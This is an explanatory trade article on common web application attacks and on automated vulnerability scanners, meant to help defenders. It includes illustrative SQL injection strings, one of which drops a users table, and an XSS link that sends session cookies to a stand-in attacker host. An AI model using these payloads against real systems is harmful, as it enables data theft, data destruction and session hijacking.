Hackers have shifted their strategy in recent years from attacking operating systems to attacking applications. After 10 years of attacking open ports and unprotected services, system administrators are doing a pretty decent job of “locking down” servers and firewalls so that only essential services are visible. Increasingly, those visible services are also patched so as to be invulnerable to attacks. Operating systems are no longer the “soft targets” that they used to be. Unable to penetrate servers through holes in exposed services, hackers have turned to attacking the applications running on those servers.

Vulnerabilities Common in Online Apps

Web applications have proven to be fertile soil for cultivating attacks that can be used to steal information or services from online applications and databases. (See Fig. 1.)

Understand this: the motivation for hacking application servers has not changed. Hackers are out to steal information, goods, and services—anything that is easily converted to cash. It is only their techniques that have changed: increasingly they are attacking the application logic itself, rather than weaknesses in the operating system or the Web server. Attacking application logic is proving to be a successful new strategy that is still highly effective today.

An attacker can choose from several types of attacks as he/she tries to get to your back-end data or to defraud you.

A Web form asks for a PIN number on a login or transaction page. Ordinarily, the user would type in a numeric PIN, such as ‘1234,’ and the application would then construct the following SQL command, including the user’s input:

SELECT fields
FROM table
WHERE pin = 1234

The intruder can, however, attempt to circumvent this by typing something like ‘46 OR 1=1.’ The resulting SQL query would then be:

SELECT fields
FROM table
WHERE pin = 46 OR 1=1

Since 1=1 is always true, the select will return all fields in the table to the attacker even without the proper authorizations.

There are many more things that an attacker can do besides extracting data. Many carefully crafted queries can elicit the names of fields and tables in a database. (Unfortunately, we don’t have the space to show you the entire process that an intruder uses.) An attacker can try to insert rows into a table, for instance, by typing the following into that PIN field: 46’; INSERT INTO users (‘userid’, ‘pin’, ‘email’) VALUES (‘Steve’, ‘1234’, ‘steve@somewhere.com’);—. This will result in the following SQL statements being passed to the server:

SELECT SSN, PIN
FROM users
WHERE pin = ‘46’; INSERT INTO users (‘userid’, ‘pin’, ‘email’)
VALUES (‘Steve’, ‘1234’, ‘steve@somewhere.com’);—

Alternatively, the attacker can simply drop the table, by typing 46’; DROP TABLE users;—, which results in this command being sent to the database server:

SELECT fields
FROM table
WHERE pin = ‘46’; DROP TABLE users;—

In such an attack, the application would probably malfunction until the system or database administrator restored the users table.

Variable manipulation. Here, an attacker is attempting to manipulate hidden forms variables in order to trick or confuse application logic. A classic example of this is something called eShoplifting, in which the hacker attacks a shopping cart application and finds one or more hidden price variables that he can attempt to manipulate. Although the price variable may not be included on a Web form, the attacker can craft a special http POST command with a new value for the price variables. In many cases, the application will not detect the price change, and it will continue as though nothing had happened. The result: a clever intruder can purchase an expensive item online for a ridiculously low price, and the merchant may not ever discover this unless it carefully audits its transactions after the fact.

Cross-site scripting. Often referred to as XSS, this is a category of vulnerabilities in which an attacker attempts to trick a user into clicking a specially-crafted URL that takes the user to a destination page that includes malicious script commands. (Often this is what phishing scams do.) The most frequent XSS attack attempts to steal session cookies and commit other trickery on high-value websites such as eBay, PayPal, and larger financial institutions. Unsuspecting users who click malicious links to these sites can unknowingly transfer their session cookies to the attacker, who will then use them to steal money and/or information. In a simple example, an attacker creates a Web page or e-mail that contains a link to a banking website:

http://www.bigbank.com/<script>
window.open(“http://www.attacker.site
/collect.cgi?cookie=”+document.cookie)</script>

When the user clicks the link, the user’s browser goes to Big Bank’s website. If Big Bank’s website does not filter out the script command, the script will be returned to the user’s browser and executed there, resulting in the user’s cookies being sent to the attacker.

Buffer overflow. In this type of attack, the attacker deliberately provides long strings of data into input fields, in an attempt to cause the application to malfunction. Such errors usually occur when the application software does not check for the size of input data. The result is that some of the data for an input variable will overwrite other variables, or it will overwrite the program stack, heap, or other pointers. A highly skilled hacker can discover specific ways in which the application will malfunction, permitting the hacker to take control of the server on which the application resides.

There are other methods that can be used to attack applications, but currently these are the most common.

Another reason why these application attacks work is that firewalls are not designed to stop them. Attacks on applications occur on ports (usually 80 and 443) that the firewall must permit so that customers and others may reach your applications. But a new breed of “application firewalls” is emerging that performs “deep packet inspection” and can block most application attacks.

The consequences that result from vulnerabilities in software can include theft, fraud, scandal, and loss of customer confidence. Any organization would be prudent to take steps to avoid these outcomes, and the resources used to prevent them should be in a reasonable proportion to the economic and other ongoing value of such applications.

It is both feasible and sensible to make secure programming techniques available to the developer(s) who create online applications. But training alone won’t do it. Programmers make mistakes and sometimes are careless, and these can lead to software vulnerabilities such as those described in this article. And what about applications that were written before such techniques were known?

Automated Scanning Tools

Organizations should consider using vulnerability scanning tools for identifying potentially critical vulnerabilities such as those discussed earlier. The leading tools in this space are AppScan from Watchfire (www.watchfire.com) and WebInspect from SPI Dynamics (www.spidynamics.com).

AppScan and WebInspect use roughly the same methods for examining Web applications. Using configuration tools or wizards, you provide an initial URL, login credentials, and other settings that control the tool’s behavior. Then you begin the scan. The tool, imitating the actions of a browser, goes to the initial URL and notes all of the links and forms on that page. If there is a login page, the tool logs in, using credentials you supplied. The tool reads subsequent pages and, like a Web crawler, it explores your application out to its very edges, noting every page and form that was found.

Vulnerabilities

The tool will also experiment with every field, form, and feature in your site, to see whether the application contains any vulnerabilities. If you have never used such a tool on your Web application, then trust me when I tell you that the tool will find vulnerabilities—lots of them! Imagine what it would be like to vacuum your house or apartment for the very first time after you’ve lived there for a few years.

False positives

These tools work by using fairly simple means: they conduct scores of individual tests on each field by inputting specific strings and then examining the result. Often, the tool will report a weakness when none actually exists. You will have to carefully examine the results in each reported vulnerability in order to determine whether the error is genuine, or whether the tool incorrectly identified an error. Tip: you will need to be highly familiar with HTML in general, and with your application, in order to effectively make use of these types of tools. Using them is like panning for gold: not every shiny object is going to be something of value.

Expert guidance

Both WebInspect and AppScan contain a lot of background and remediation information related to each vulnerability. Often, the tool will contain code samples that illustrate how a given vulnerability can be resolved.

Scanning in Your Development Lifecycle

The ideal time to scan your applications for vulnerabilities is in the testing phase of your development lifecycle. The right time to test for security vulnerabilities is at the same time that users or testers are verifying new and existing features in your application. That way, any security vulnerabilities can be reported, using the same procedure that functional testers would use. Developers are already prepared to receive feedback from software testers, making this a good time for any security vulnerabilities to be identified and dealt with as well.

When you are first starting out with application vulnerability scanning, you’ll probably want to scan whatever software is currently in use (but hopefully you can scan a testing or staging server and avoid testing actual production servers). You can begin to identify potential vulnerabilities right away without having to wait for the next software testing cycle.

Be realistic. It is not reasonable to expect the application development team to fix every identified vulnerability in your applications. Instead, focus on those that are ranked as most severe. Over time, you will eliminate the most dangerous vulnerabilities, permitting you to pay attention to less critical errors. You should not expect that you will ever eliminate all of the vulnerabilities that the tool discovers—the lowest-severity issues may not ever become important enough to address. Obviously, you will need to carefully determine the actual risk associated with every issue, regardless of its stated criticality. If your application has high-severity issues, however, assume that they have been—or soon will be—exploited.

Summary

Manually examining online applications for software vulnerabilities is too cumbersome and labor-intensive for most organizations, and ignoring the problem is an invitation for disaster. Automated tools should be considered as a way of quickly identifying potential vulnerabilities that could otherwise result in an embarrassing incident.

Peter H. Gregory, CISA, CISSP, is the author of several books, including CISSP For Dummies, Solaris Security, and Blocking Spam and Spyware For Dummies. He has spoken at numerous industry conferences, including RSA, SecureWorld Expo, InfraGard, and West Coast Security Forum.